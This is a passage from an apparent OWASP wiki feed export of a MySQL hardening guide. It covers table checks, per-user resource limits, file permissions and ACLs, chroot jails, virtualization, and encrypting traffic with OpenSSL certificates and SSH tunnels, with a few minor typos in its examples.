* the QUICK-option will not do any checks on columns, but only basic table-related information&lt;br /&gt;
* the MEDIUM-option performs column-checks (e.g. dead links), and calculates a checksum over key-columns&lt;br /&gt;
* the CHANGED-option only inspects changes made on the table since the last check&lt;br /&gt;
* the EXTENDED-option checks and checksums all columns separately (which can take a while on bigger databases)&lt;br /&gt;
&lt;br /&gt;
Note: Since MySQL 5, also VIEWs can be used with the CHECK statement.&lt;br /&gt;
&lt;br /&gt;
If a table is damaged, consider trying the REPAIR statement.&lt;br /&gt;
  REPAIR TABLE tablename&lt;br /&gt;
&lt;br /&gt;
=== Setting up connection limits ===&lt;br /&gt;
&lt;br /&gt;
As shown in the table description of user, there are several options MySQL offers to limit certain resources of specific users.&lt;br /&gt;
&lt;br /&gt;
This includes three main clauses:&lt;br /&gt;
* The MAX_QUERIES_PER_HOUR clause defines a maximum set of queries which may be processed on per user and per host basis. For example, the statement GRANT SELECT on *.* TO root WITH MAX_QUERIES_PER_HOUR will limit the maximum queries available to user root to an amount of five per hour.&lt;br /&gt;
* MAX_UPDATES_PER_HOUR, controls the maximum amount of DML statements per hour, and&lt;br /&gt;
* MAX_CONNECTIONS_PER_HOUR controls the maximum of connection establishments per hour.&lt;br /&gt;
&lt;br /&gt;
All of those clauses cannot be applied on per-table or per-database basis, since they have to be stated via *.*. Every mentioned limitation is internally represented by counters, corresponding to the time (per hour). Those counter may easily be reset by invoking the command FLUSH USER_RESOURCES (the user which tries to flush, will need the RELOAD privilege). This statement will not remove the defined resource limits, but reset the counters.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
There is no absolute security for applications. The offered methods and technologies mentioned in this paper, can help making the environment much more secure where the MySQL daemon is running.&lt;br /&gt;
&lt;br /&gt;
We may use technologies like sandboxing and virtualization for isolating the MySQL processes from the environment, the database server is running in. This minimizes the possible negative consequences, if the daemon is getting compromised. The deployment and use of cryptographic routines for ciphering physical data and network traffic, reduces the risks of sniffing and man-in-the-middle attacks, as well as securing the whole data covered by the database if the data directory itself gets theft.&lt;br /&gt;
&lt;br /&gt;
A very big disadvantage of using programming languages which explicitely make use of pointers like C or C++, is the possibility of buffer overflows and attacks using this as basis. That’s not a conceptional mistake of MySQL, but makes the spectrum of possible attacks much wider. Using certain external software for checking those leaks is highly recommended. In such a case, the database server will just be terminated - which is not a desirable consequence, but far better than having an up and running but compromised instance.&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
The whole article is mainly based upon the original document Hardening MySQL on Unix-like systems, Erik Sonnleitner 2007, available at [www.delta-xi.net].&lt;br /&gt;
&lt;br /&gt;
* [AB05]      MySQL AB. Inside mysql 5.0 - a dba’s perspective, 2005.&lt;br /&gt;
* [Ale06]     Michael Alexander,  Huehtig, Netzwerke und Netzwerksicherheit. Telekommunikation, 2006. (ISBN 3826650484).&lt;br /&gt;
* [Amb07]     Eric Amberg. Linux-Server mit Debian. mitp, 2007. (ISBN 3826615875).&lt;br /&gt;
* [Bau02]     Michael Bauer. Building secure servers with Linux. O’Reilly, 2002. (ISBN 0596002173).&lt;br /&gt;
* [BLTR06] Johannes Bauer, Albrecht Liebscher, and Klaus Thielking-Riechert. OpenVPN. Grundlagen, Konfiguration, Praxis. Dpunkt Verlag, 2006. (ISBN 3898643964).&lt;br /&gt;
* [Cod70]     E. F. Codd. A relational model of data for large shared data banks. Communications of the ACM 13 (6), 377-387, 1970.&lt;br /&gt;
* [Eri03]     Jon Erickson. Hacking - the art of exploitation. No starch press, 2003. (ISBN 1593270070).&lt;br /&gt;
* [Ert03]     Wolfgang Ertel. Angewandte Kryptographie. Hanser Fachbuchverlag, 2003. (ISBN 3446223045).&lt;br /&gt;
* [Fos05]     James Foster. Buffer overflow attacks. Syngres Media, 2005. (ISBN 1932266674).&lt;br /&gt;
* [Gri05]     Lenz Grimmer. Mysql backup and security, 2005.&lt;br /&gt;
* [Kre04]     Juergen Kreileder. Chrooting mysql on debian, 2004.&lt;br /&gt;
* [MBBS07] Keith Murphy, Peter Brawley, Dan Buettner, and Baron Schwartz. Mysql magazine, 2007. Issue 1.&lt;br /&gt;
* [One]       Aleph One. Smashing the stack for fun and profit. Phrack magazine vol 49, File 14 of 16.&lt;br /&gt;
* [Pac05]     Lars Packshies. Praktische Kryptographie unter Linux. Open source press, 2005. (ISBN: 3937514066).&lt;br /&gt;
* [PW07]   Johannes Ploetner and Steffen Wendzel. Netzwerksicherheit. Galileo press, 2007. (ISBN 3898428286).&lt;br /&gt;
* [SBZD07] Henning Sprang, Timo Benk, Jaroslaw Zdrzalek, and Ralph Dehner. Xen. Virtualisierung unter Linux. Open source press, 2007. (ISBN 3937514295).&lt;br /&gt;
* [Sch05]  Bruce Schneier. Angewandte Kryptographie. Algorithmen, Protokolle und Sourcecode in C. Pearson Studium, 2005. (ISBN 0471117099).&lt;br /&gt;
* [SR07]   M. Stipcevic and B. Medved Rogina. Quantum random number generator. Rudjer Boskovic Institute, Bijenicka, Zagreb, Croata, 2007.&lt;br /&gt;
* [SWF05]  Ellen Siever, Aaron Weber, and Stephen Figgins. Linux in a nutshell. O’Reilly, 2005. (ISBN 0596009305).&lt;br /&gt;
* [Vas04]  Vikram Vaswani. MySQL: The complete reference. Mcgraw-Hill Professional, 2004. (ISBN 0072224770).&lt;br /&gt;
* [Wae03]  Dietmar Waetjen. Kryptographie. Grundlagen, Algorithmen, Protokolle. Spektrum Adakemischer Verlag, 2003. (ISBN 3827414318).&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44163</id>
		<title>OWASP Backend Security Project MySQL Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44163"/>
				<updated>2008-10-21T00:50:57Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Hardening the operating system environment */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
* Firstly, we will deal about hardening the underlying operating system environment. This is an ultimately essential step towards application layer security, since also the best security mechnism and configuration won't be useful if the whole system is attackable one layer beyond the actual target application. Operating system hardening includes setting right filesystem permissions, the design and implementation of a virtual chroot-jail application executing environment, the use of access control lists as well as a quick introduction about modern virtualization approaches.&lt;br /&gt;
* The next topic will be about cryptography, which we will use to aid and secure our database instance at filesystem level and, possibly even more important, the DMBS' communication channels. This will be achieved using either OpenSSL, OpenSSH or OpenVPN. For encrypting the raw database pages themselves, we'll also take a look about filesystem encryption.&lt;br /&gt;
* Due to some quite aweful security bugs in the past, we'll discuss how the application's memory area can be protected against stack- and heap-smashing attacks for executing arbitrary code on the machine which actually executes the MySQL database server.&lt;br /&gt;
* Then we'll discuss certain security-related MySQL configuration attributes. MySQL is quite straight to configure, but nevertheless there are a few options which inside the configuration files which make life easier - and more secure.&lt;br /&gt;
* Finally the access control and privilege management mechanism of the MySQL DBMS itself will be explored and shown in some detail.&lt;br /&gt;
&lt;br /&gt;
The whole article is based on a paper on MySQL Hardening which can be obtained [http://delta-xi.net/index.php?/archives/23-Hardening-MySQL-on-Unix-like-systems.html here].&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The enormous global increase of information which is to be stored, forces certain approaches of achiving and restoring data, while keeping track of numerous valuable and essential preconditions, e. g. data integrity.&lt;br /&gt;
&lt;br /&gt;
Relational databases are still the common way of accomplishing the storage of masses of information, although its conceptional basics reach back to 1970, where E. F. Codd firstly introduced this method of data handling [Cod70].&lt;br /&gt;
&lt;br /&gt;
As global networking dramatically increased the past decades, the TCP/IP protocol stack has become very popular and nowadays builds the fundamental backbone of the Internet. As conclusion to this tendency, also the way of controlling and operating relational database systems mostly relies on the mentioned protocol suites, with all advantages and disadvantages, inherently given by using them.&lt;br /&gt;
&lt;br /&gt;
Accessability and reliability of information services is often constrained by providing them over the Internet, which should be seen as naturally untrusted and insecure network, since not only permitted persons are able to try to establish connections. With the aspect of Unix-like system environments in mind, I’ll figure out how to secure and harden database systems primarily on Linux, taking MySQL 5 as example, since this software is commonly used and widespread, especially over the Internet, for it is Open Source Software. Except for the description of filesystem encryption, all examples should work also on other POSIX compliant operating systems than Linux.&lt;br /&gt;
&lt;br /&gt;
The language of given sourcecodes should be clear from the context they are mentioned. However, shell scripts are written using the Bourne Again Shell (/bin/bash), and most sources are plain C. When shell command examples are given, every line is prefixed with either # or $. While the hash indicates that the following statement has to be called as root user, the dollarsign commands doesn’t need administrative permissions.&lt;br /&gt;
&lt;br /&gt;
== Hardening the operating system environment ==&lt;br /&gt;
Common Unix-like systems offer a wide range of security related tools and methods for obtaining access restrictions. The configuration of certain software packages like databases is assuredly to be done carefully and with respect to secureness. &lt;br /&gt;
&lt;br /&gt;
Nevertheless, a system-wide security model for protecting information and information services should begin (at least) at operating system level. &lt;br /&gt;
&lt;br /&gt;
A perfectly configured Oracle Database Server, including DMBS account and role management etc., won’t be useful if everybody may be able to simply copy the raw data from the filesystem for obtaining the desired information quickly and easily. For more in-depth information about Unix and the Unix system environment, I’d refer to [SWF05], [Amb07] and [Bau02].&lt;br /&gt;
&lt;br /&gt;
=== Filesystem access restrictions and ACLs ===&lt;br /&gt;
Most suitable filesytems available on POSIX environments provide mechanisms of restricing methods of access in an abrasive way, using (at least) three types of access mode codes, and three ways of describing for whom those modes apply.&lt;br /&gt;
&lt;br /&gt;
The basic filesystem permissions are&lt;br /&gt;
* read (→ 'r'),&lt;br /&gt;
* write (→ 'w'), and&lt;br /&gt;
* execute (→ 'x')&lt;br /&gt;
&lt;br /&gt;
which can be individually referred to &lt;br /&gt;
* the user which is the owner of the filesystem object, e.g. a file or a directory (→ 'u'),&lt;br /&gt;
* the group of persons which belong to the (main) group of the owner (→ 'g' ), and&lt;br /&gt;
* all others (→ 'o').&lt;br /&gt;
&lt;br /&gt;
Taking the major configuration file of MySQL, which is normally found at &amp;lt;tt&amp;gt;/etc/mysql/my.cnf&amp;lt;/tt&amp;gt;, the filesystem rights are given as following:&lt;br /&gt;
  $ ls -lh /etc/mysql/my.cnf&lt;br /&gt;
  -rw-r--r-- 1 root root 3.7K 2007-07-18 00:14 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
The access rights are shown in the string &amp;lt;tt&amp;gt;-rw-r--r--&amp;lt;/tt&amp;gt;. Disregarding the first &amp;lt;tt&amp;gt;-&amp;lt;/tt&amp;gt; character, Unix returns basically a nine-character string, which is to be read in triples, as &amp;lt;tt&amp;gt;rw-|r--|r--&amp;lt;/tt&amp;gt;. The first triple describes the permissions of the owner, the second the permissions of the owner’s group and the third triple refers to all other users. Therefore, only the owner of the file (the root user, the administrator) is allowed to modify the file because of the write permission - users in the same group as well as all other system users may only read the object. The upcoming columns, both entitled as root describe the owner of the object, and group membership belonging of the object. As we see, the &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file is owned by the user root and belongs to the system group root.&lt;br /&gt;
&lt;br /&gt;
The configuration files should always belong to the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; user, and only permit &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; to write on these objects, since nobody else should be able to modify its contents in any way. The right permission settings may be assured by&lt;br /&gt;
&lt;br /&gt;
 # chown -R root:root /etc/mysql/&lt;br /&gt;
 # chmod 0644 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
In dependency on what other configuration files MySQL actually is referring to, the &amp;lt;tt&amp;gt;chmod&amp;lt;/tt&amp;gt; command may also be applied to other items inside the &amp;lt;tt&amp;gt;/etc/mysql/&amp;lt;/tt&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
==== Storage data ====&lt;br /&gt;
MySQL stores the actual data (tables, etc.) in &amp;lt;tt&amp;gt;/var/lib/mysql&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;$MYSQL/data&amp;lt;/tt&amp;gt; by default. In contrast to the configuration files, the data storage files should not be owned by the administrator, but by a completely unprivileged user, normally called &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt;, which isn’t allowed to to anything else inside the Unix system as what is absolutely necessary. Besides the administrator of course, nobody should be able to read and/or modify these objects, therefore we completely revoke any rights of the others user section and just let &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; read and write.&lt;br /&gt;
&lt;br /&gt;
Moreover, the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user should by no means be able to invoke a command shell. This assures that crackers arn't be able to login at the server system, even if this user has been hacked. Revoking command shells is done within &amp;lt;tt&amp;gt;/etc/passwd&amp;lt;/tt&amp;gt;, by changing the last column of the mysql user from &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;/bin/false&amp;lt;/tt&amp;gt;. The program given here will be invoked when a user has been successfully authenticated by the system.&lt;br /&gt;
&lt;br /&gt;
==== Logfiles ====&lt;br /&gt;
MySQL commonly logs every event, relevant to the database. Absolutely no other users than &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; should be able to read or write the logs, preventing the leaking of information out of the logfiles. For example, certain queries like &amp;lt;tt&amp;gt;GRANT&amp;lt;/tt&amp;gt; may offer sensitive information like user passwords, which are stored plaintext inside the protocol files. The logs are normally owned by the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user, since MySQL needs to write the events here (in contraty to the configuration files, only the administrator should be able to modify, not the MySQL system).&lt;br /&gt;
&lt;br /&gt;
==== Access control lists ====&lt;br /&gt;
ACLs, or Access control lists offer a very granular method of defining and granting permissions. As opposed to the standard Unix filesystem permissions, POSIX ACLs are not built-in in the filesystem device driver (as done in &amp;lt;tt&amp;gt;ext2/3&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;reiserfs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;xfs&amp;lt;/tt&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
The usage of ACLs offers mechanisms for setting up per-user-permissions of single filesystem objects and therefore provide fine-grained definitions of access restrictions, if needed. The corresponding POSIX commands are &amp;lt;tt&amp;gt;getfacl&amp;lt;/tt&amp;gt; for viewing ACLs, and &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt; for setting up an ACL. These features may be useful to add certain permissions to other users (e. g. automatic logfile analyzers). The following example quickly shows the usage of &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt;, allowing the user syslog to write on the MySQL log files:&lt;br /&gt;
  # setfacl -m user:syslog:-w- /var/log/mysql/*&lt;br /&gt;
&lt;br /&gt;
=== Designing a chroot-jail ===&lt;br /&gt;
Even when accurately managing user- and group-memberships as well as read and write permissions to the relevant MySQL filesystem objects, we should assure, that, in case of a successful attack, the system environment does not get compromised in any way. Numerous attacks have been reported on this topic. When talking about attacks, we now commonly mean attacks from within the database system, when users or programs try to gain sensitive system parameters like the &amp;lt;tt&amp;gt;/etc/shadow&amp;lt;/tt&amp;gt; file or logfiles via outfoxing the DMBS.&lt;br /&gt;
&lt;br /&gt;
That’s why we need to create a sandbox-like environment where MySQL runs within and is restricted to. In terms of POSIX systems, this is called a change root - environment, or &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt;-jail named by the corresponding command chroot. In the early Eighties when nowadays keywords like virtualization havn’t been born, Bill Joy introduced the concept of the chroot command which can be seen as forerunner of an virtual system environment.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; basically repositions the global root directory (/) via remapping it into a specific directory of any directory within the filesystem tree. Any commands, applications, users etc. which act within the chroot-environment actually don’t know that they are working in a sandbox and should have no chance for accessing any part of the filesystem outside the jailed area.&lt;br /&gt;
&lt;br /&gt;
==== Manually designing a sandbox ====&lt;br /&gt;
Since the jailed environment won’t be able to access the rest of the filesystem, all relevant system objects like binaries, libraries, the directory structure, logs, etc. have to be copied into the sandbox.&lt;br /&gt;
&lt;br /&gt;
The easiest way to accomplish this by hand, is to get an official static build of MySQL, which doesn’t mandatorily rely on external dymanic libraries (shared objects, respectively) and defines the right directory structure. The first step is to download and unpack the package, as shown here by example of MySQL 5.0.45:&lt;br /&gt;
  $ export MYSQL_CHROOT=/chroot/mysql&lt;br /&gt;
  # mkdir -p $MYSQL_CHROOT&lt;br /&gt;
  # cd $MYSQL_CHROOT&lt;br /&gt;
  $ wget http://$SERVER/mysql-5.0.45-linux-i686.tar.gz&lt;br /&gt;
  $ tar xfz mysql-5.0.45-linux-686.tar.gz&lt;br /&gt;
  $ MYSQL_CHROOT=$MYSQL_CHROOT/mysql-5.0.45-linux-i686&lt;br /&gt;
  $ cd $MYSQL_CHROOT&lt;br /&gt;
&lt;br /&gt;
We have now prepared a basically functional MySQL environment. Nevertheless, we want to have at least a working shell, as well as some system-wide configuration files needed by MySQL. Therefore we need to copy &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to the sandbox. Since the Linux Bash also depends on certain libraries, it’s necessary to find out which libraries are needed, using the &amp;lt;tt&amp;gt;ldd&amp;lt;/tt&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
  $ ldd /bin/bash&lt;br /&gt;
  linux-gate.so.1 = &amp;gt;    (0xffffe000)&lt;br /&gt;
  libncurses.so.5 = &amp;gt; /lib/libncurses.so.5 (0xb7f8f000)&lt;br /&gt;
  libdl.so.2 = &amp;gt; /lib/i686/cmov/libdl.so.2 (0xb7f8b000)&lt;br /&gt;
  libc.so.6 = &amp;gt; /lib/i686/cmov/libc.so.6(0xb7e42000)&lt;br /&gt;
  /lib/ld-linux.so.2 (0xb7fd9000)&lt;br /&gt;
&lt;br /&gt;
Now we’ll just need to copy the given objects in the corresponding directories of the sandbox. This can be done manually file by file, or simply with the following piece of code:&lt;br /&gt;
&lt;br /&gt;
     $ for i in `ldd /bin/bash | awk '{print $3}' | egrep '^/.*'`; do&lt;br /&gt;
       mkdir -p &amp;quot; ./`dirname $i` &amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
     cp /bin/bash ./bin&lt;br /&gt;
&lt;br /&gt;
Since MySQL also uses some shell scripts, it will also need the following files:&lt;br /&gt;
     $ for i in /bin/hostname /bin/chown /bin/chmod /bin/touch&lt;br /&gt;
           /bin/date /bin/rm /usr/bin/tee /usr/bin/dirname&lt;br /&gt;
           /etc/passwd /etc/group /lib/librt.so.1 /lib/libthread.so.0; do&lt;br /&gt;
       mkdir -p &amp;quot;./`dirname $i`&amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
&lt;br /&gt;
We can now initially start the MySQL Server inside the chroot-environment by calling&lt;br /&gt;
  # chroot $MYSQL_CHROOT /bin/mysqld_safe&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; command now repositions the global root node / for the command &amp;lt;tt&amp;gt;mysqld_safe&amp;lt;/tt&amp;gt;. If an attacker forces to gain access of the system behind the database server, he’s limited to MySQL’s root directroy, which is represented by the &amp;lt;tt&amp;gt;$MYSQL_CHROOT&amp;lt;/tt&amp;gt; environment variable, and pointing to &amp;lt;tt&amp;gt;/chroot/mysql&amp;lt;/tt&amp;gt; of the real filesystem behind the sandbox.&lt;br /&gt;
&lt;br /&gt;
=== MySQL's built-in chroot mechanism ===&lt;br /&gt;
&lt;br /&gt;
The MySQL database server &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; also has a built-in chrooting-functionality which can be given as command line argument before startup. In case of having all important files (including the corresponding directory structure) inside &amp;lt;tt&amp;gt;/chroot_env/mysqld/&amp;lt;/tt&amp;gt;, the following call would force MySQL to programatically chroot to the specified directory.&lt;br /&gt;
&lt;br /&gt;
 # mysqld --chroot=/chroot_env/mysqld&lt;br /&gt;
&lt;br /&gt;
Note that &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; will not be able to start up if the given environment lacks on integrity of needed files.&lt;br /&gt;
&lt;br /&gt;
=== Modern virtualization approaches ===&lt;br /&gt;
&lt;br /&gt;
Since &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; can be seen as an old-school pseudo-virtualisation, just keeping the MySQL server in a sandbox of an existing system, modern approaches have shown that virtualization and para-virtualization are leading the way of running multiple operating system kernels on one machine.&lt;br /&gt;
&lt;br /&gt;
Therefore, there is no need of creating a sandbox, since every server-system may run in a completely isolated full featured Unix system, while all of these (virtual) servers are run on one single physical server.&lt;br /&gt;
&lt;br /&gt;
The most common ways of aquiring an virtual server environment are currently the open-source project Xen as well as the comparable closed-source software VMWare ESX Server. Basically, those projects provide a so called Hypervisor, which can be seen as an additional abstraction layer, between the system’s hardware and the operating sytstem’s kernels. The hypervisor manages to devide the system resources by the running kernels, independent on which operating systems are used above the hypervisor, without producing much overhead in comparison to natively running the virtualized operating systems.&lt;br /&gt;
&lt;br /&gt;
Since the installation of MySQL on a virtual server is done exactly like a normal installation, I won’t provide more information on this topic within this paper, but I’d refer to [SBZD07].&lt;br /&gt;
&lt;br /&gt;
Another way of performing system restrictions are security suites like the NSA SELinux, as well as Novell AppArmor. Those applications aim to spy and re- strict the behaviour of certain programs and what they are trying to perform on the filesystem as well as via system calls.&lt;br /&gt;
&lt;br /&gt;
== Cryptographic appliances ==&lt;br /&gt;
=== Encrypting network traffic ===&lt;br /&gt;
&lt;br /&gt;
For encrypting network traffic, there are several differnet ways. One may use&lt;br /&gt;
* OpenSSL as MySQL's built-in cryptosystem,&lt;br /&gt;
* OpenSSH as external tunneling application, or&lt;br /&gt;
* OpenVPN tunneling.&lt;br /&gt;
&lt;br /&gt;
All cryptographic implementations are available for every platform MySQL is capable of, and all three use strong encryption. Using OpenSSL deserves some MySQL internal configuration, and is based on certificates. This may be a good choice if there already is a public-key-infrastructure (PKI) available.&lt;br /&gt;
&lt;br /&gt;
OpenVPN provides a link between two trusted private networks, over an untrusted (mostly non-private) network (normally the Internet). This needs an OpenVPN gateway server, which should commonly not be run on the same machine as the MySQL daemon does due to security reasons. Setting up an VPN tunnel is normally done to encrypt the whole network traffic between two parties, and deserves deeper knowledge of configuring a VPN gateway. Therefore, I won’t provide information on this variant, which can be obtained from [BLTR06].&lt;br /&gt;
&lt;br /&gt;
An OpenSSH tunnel is easy to setup and maintain, as well as secure and well-known to most Unix users.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== OpenSSL ====&lt;br /&gt;
For using OpenSSL encryption, the MySQL server has to be capable of understanding OpenSSL. Most standard MySQL packages of the common Linux distributions already offer OpenSSL-enabled MySQL services out of the box. If not, you may compile the sources of MySQL manually and run the &amp;lt;tt&amp;gt;configure&amp;lt;/tt&amp;gt; script with the option &amp;lt;tt&amp;gt;--with-vio --with-openssl&amp;lt;/tt&amp;gt;. OpenSSL activation forces the environment variable have_openssl to be set to &amp;lt;tt&amp;gt;YES&amp;lt;/tt&amp;gt;. This can be checked by&lt;br /&gt;
      mysql &amp;gt; SHOW VARIABLES LIKE ’%openssl%’;&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | Variable_name | Value |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | have_openssl  | YES   |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
&lt;br /&gt;
Since the OpenSSL encryption implementation of MySQL sustains upon certificates, we need to create&lt;br /&gt;
* a Certificate Authority (CA) key and certificate,&lt;br /&gt;
* a server encryption key, as well es a server certificate request,&lt;br /&gt;
* a client encryption key, as well as a client certificate request.&lt;br /&gt;
&lt;br /&gt;
The following shellscript will do this for us (OpenSSL binaries have to be installed):&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 DIR=`pwd`/openssl&lt;br /&gt;
 PRIV=$DIR/private&lt;br /&gt;
 mkdir $DIR $PRIV $DIR/newcerts&lt;br /&gt;
 cp /usr/lib/ssl/openssl.cnf $DIR&lt;br /&gt;
 replace ./demoCA $DIR -- $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -x509 -keyout $PRIV/cakey.pem &lt;br /&gt;
   -out $DIR/cacert.pem -config $DIR/openssl.cnf&lt;br /&gt;
 openssl req -new -keyout $DIR/server-key.pem &lt;br /&gt;
   -out $DIR/server-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/server-key.pem -out $DIR/server-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/server-cert.pem -config $DIR/openssl.cnf -infiles $DIR/server-req.pem&lt;br /&gt;
 openssl req -new -keyout $DIR/client-key.pem&lt;br /&gt;
   -out $DIR/client-req.pem -days 3600 -config $DIR/openssl.cnf&lt;br /&gt;
 openssl rsa -in $DIR/client-key.pem -out $DIR/client-key.pem&lt;br /&gt;
 openssl ca  -policy policy_anything&lt;br /&gt;
   -out $DIR/client-cert.pem -config $DIR/openssl.cnf -infiles $DIR/client-req.pem&lt;br /&gt;
&lt;br /&gt;
Lines 1 - 6 create a useable directory structure for storing the resulting keys and&lt;br /&gt;
certificates. Be sure to call this script from a safe location; keys are normally stored&lt;br /&gt;
in /etc/mysql/keys or something similar.&lt;br /&gt;
&lt;br /&gt;
Line 7 and 8 generate a local Certificate Authority for signing the certificates which&lt;br /&gt;
are to be created.&lt;br /&gt;
&lt;br /&gt;
Lines 9 and 10 create an encryption key for the MySQL server and a certificate&lt;br /&gt;
request, which is to be signed afterwards. The certificate will be valid for 3600 days.&lt;br /&gt;
&lt;br /&gt;
Line 11 (and line 16) is optional and would remove the passphrase from the server key. This&lt;br /&gt;
means that it’s not necessary to give the passphrase every time the MySQL server&lt;br /&gt;
is restartet. This behaviour may be seen as security risk, depending on where the&lt;br /&gt;
(unencrypted) key will be stored.&lt;br /&gt;
&lt;br /&gt;
Lines 12 and 13 will sign the previously generated server certificate with our local&lt;br /&gt;
CA instance.&lt;br /&gt;
&lt;br /&gt;
Lines 14 and 25 create a client key and certificate request.&lt;br /&gt;
&lt;br /&gt;
The last lines sign the client certificate with our local CA instance.&lt;br /&gt;
&lt;br /&gt;
We finally have to tell MySQL where our encryption keys and certificates are stored, which is done in my.cnf. We need entries for both, server and client. Note that the client configuration as well as the client and CA certificates have to be available on all clients who wish to encrypt MySQL related network traffic.&lt;br /&gt;
&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/client-cert.pem&lt;br /&gt;
 ssl-key=$DIR/client-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [mysqld]&lt;br /&gt;
 ssl-ca=$DIR/cacert.pem&lt;br /&gt;
 ssl-cert=$DIR/server-cert.pem&lt;br /&gt;
 ssl-key=$DIR/server-key.pem&lt;br /&gt;
 &amp;lt;...&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;$DIR&amp;lt;/tt&amp;gt; is to be replaced by the chosen key and certificate directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== OpenSSH ====&lt;br /&gt;
Encrypting network traffic using OpenSSH is done via tunnelling. The advantages of this method are:&lt;br /&gt;
* An existing MySQL configuration has not to be altered&lt;br /&gt;
* There is no administrative overhead for creating and maintaining certificates and keys&lt;br /&gt;
* The tunnel itself is transparant to MySQL since SSH does everything on its&lt;br /&gt;
own&lt;br /&gt;
* Easy setup&lt;br /&gt;
&lt;br /&gt;
However, there are several points which may be seen as disadvantages:&lt;br /&gt;
* The tunnelling mechanism itself has to be done on the client(s), which leads to decentralized administration&lt;br /&gt;
* The calling client(s) require to have a valid system user on the box where the OpenSSH server is running&lt;br /&gt;
* The server machine must run an OpenSSH server (which is the easiest way, but not unconditionally necessary), the clients must have the ssh binary installed&lt;br /&gt;
&lt;br /&gt;
The basic idea is that the &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; binary on the client(s) opens a socket which is bound to a specific port (3307 in the following example). &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt; encrypts all the traffic, coming through this port and sends it to the OpenSSH server which will perform the decryption transparently and redirect the unecrypted traffic to the port, the MySQL server is listening on.&lt;br /&gt;
&lt;br /&gt;
The MySQL TCP connection a client tries to establish, is done to localhost instead of the MySQL server, to the port number bound my &amp;lt;tt&amp;gt;ssh&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On the client side, the following command will set up our OpenSSH tunnel:&lt;br /&gt;
 ssh -L 3307:&amp;lt;MySQL server address&amp;gt;:3306 &amp;lt;username&amp;gt;@&amp;lt;OpenSSH server address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The clients can now connect through localhost the get in touch with the MySQL server:&lt;br /&gt;
 mysql -u &amp;lt;mysql_username&amp;gt; -p -h 127.0.0.1 -P 3307 &lt;br /&gt;
&lt;br /&gt;
Note: The OpenSSH server doesn't mandatorily have to run on the same machine as the database server does. If OpenSSH runs on server A and MySQL on server B, we need to set up an packet redirection, which can be done using &amp;lt;tt&amp;gt;iptablest&amp;lt;/tt&amp;gt; on machine A:&lt;br /&gt;
	echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
	iptables&lt;br /&gt;
		-t nat&lt;br /&gt;
		-A PREROUTING&lt;br /&gt;
		-p tcp&lt;br /&gt;
		--dport 3306&lt;br /&gt;
		-j DNAT&lt;br /&gt;
